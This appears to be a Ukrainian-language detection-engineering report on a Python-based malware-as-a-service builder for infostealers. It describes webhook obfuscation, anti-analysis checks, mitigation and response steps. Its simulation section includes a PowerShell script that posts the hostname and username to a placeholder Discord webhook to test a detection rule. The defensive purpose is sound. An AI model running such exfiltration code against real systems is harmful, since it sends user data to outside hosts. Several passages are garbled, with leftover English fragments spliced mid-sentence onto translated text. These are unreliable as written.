Фабрика Ворів: Python-Based MaaS для побудови інфостілерів

Резюме

Виявлено нову операцію Malware-as-a-Service (MaaS), яка використовує засіб створення на основі Python для генерації налаштованих інфостілерних навантажень. Засіб дозволяє операторам упаковувати шкідливе ПЗ в Windows виконувані файли за допомогою Nuitka або PyInstaller з впровадженням конфігурацій вебхуків. Результуючі інфостілери націлені на облікові дані браузера, токени Discord, файли cookie Roblox та збережені паролі Wi-Fi.

Розслідування

Аналітики досліджували вкладений архів, що містив як засіб створення, так і впроваджене навантаження. Розслідування виявило, що засіб захищає URL-адреси вебхуків за допомогою кодування XOR та Base64 і може автоматично встановлювати необхідні залежності через pip.exeГенероване навантаження також реалізує методи антианалізу, включаючи виявлення відладчика і перевірки розміру диска, що призначені для виявлення середовищ пісочниці.

Пом’якшення

Організаціям слід стежити за неочікуваними виконаннями pip.exe і створенням підозрілих запланованих завдань. Обмеження доступу до каталогів даних браузера та виявлення несанкціонованого використання команди netsh можуть ще більше зменшити ризик. Збереження актуальності рішень для захисту кінцевих точок також важливо для ідентифікації швидко розвиваючихся сімейств шкідливого ПЗ на основі Python. commands can further reduce exposure. Keeping endpoint protection solutions current is also important for identifying rapidly evolving Python-based malware families.

Реакція

Коли виявлено шкідливу активність, ізолюйте уражену кінцеву точку, щоб зупинити подальше ексфільтрацію даних через вебхуки, контрольовані зловмисником. Перевірте ключі реєстру Run та заплановані завдання на предмет несанкціонованих механізмів стійкості. Аналізуйте телеметрію мережі для виявлення незвичних запитів HTTP POST, спрямованих на невідомі, недавно спостережені або підозрілі кінцеві точки вебхуків.

Виконання симуляції

• Сюжет атаки та команди: Зловмисник розгорнув легкий інфостілер на робочій станції Windows. Щоб уникнути керування спеціалізованим сервером C2, зловмисник використовує вебхук Discord для ексфільтрації метаданих системи (наприклад, ім’я хоста та користувача). Скрипт виконує запит HTTP POST до API Discord. Ця дія призначена для зливання з легітимним трафіком розробника або гри, при цьому спеціально націлюючись на шаблон URI discordapp.com/api/webhooks, який запрограмовано виявити правило виявлення. URI pattern, which the detection rule is programmed to flag.

• Скрипт тесту регресії:

  # Симуляція ексфільтрації даних через вебхук Discord
  $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token"
  $payload = @{
      content = "Витягнуті дані: Hostname=$env:COMPUTERNAME, User=$env:USERNAME"
  } | ConvertTo-Json
  
  Write-Host "[+] Симуляція ексфільтрації через вебхук..."
  try {
      Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
      Write-Host "[+] Команда симуляції успішно надіслана."
  } catch {
      Write-Host "[-] Команда надіслана (Очікувана помилка, якщо URL хибний, але телеметрія все одно має бути згенерована): $_"
  }

• Команди очистки:

  # Не було створено постійних файлів; не потрібно очищення для цієї симуляції, що використовує лише пам'ять.
  Write-Host "[+] Очищення завершено: На системі не залишилося артефактів."